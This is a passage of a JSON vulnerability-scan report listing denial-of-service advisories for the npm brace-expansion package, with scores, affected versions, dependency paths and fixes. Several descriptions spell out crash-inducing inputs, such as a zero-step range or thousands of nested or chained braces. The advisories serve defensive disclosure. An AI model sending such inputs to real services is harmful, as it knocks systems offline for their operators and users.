"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
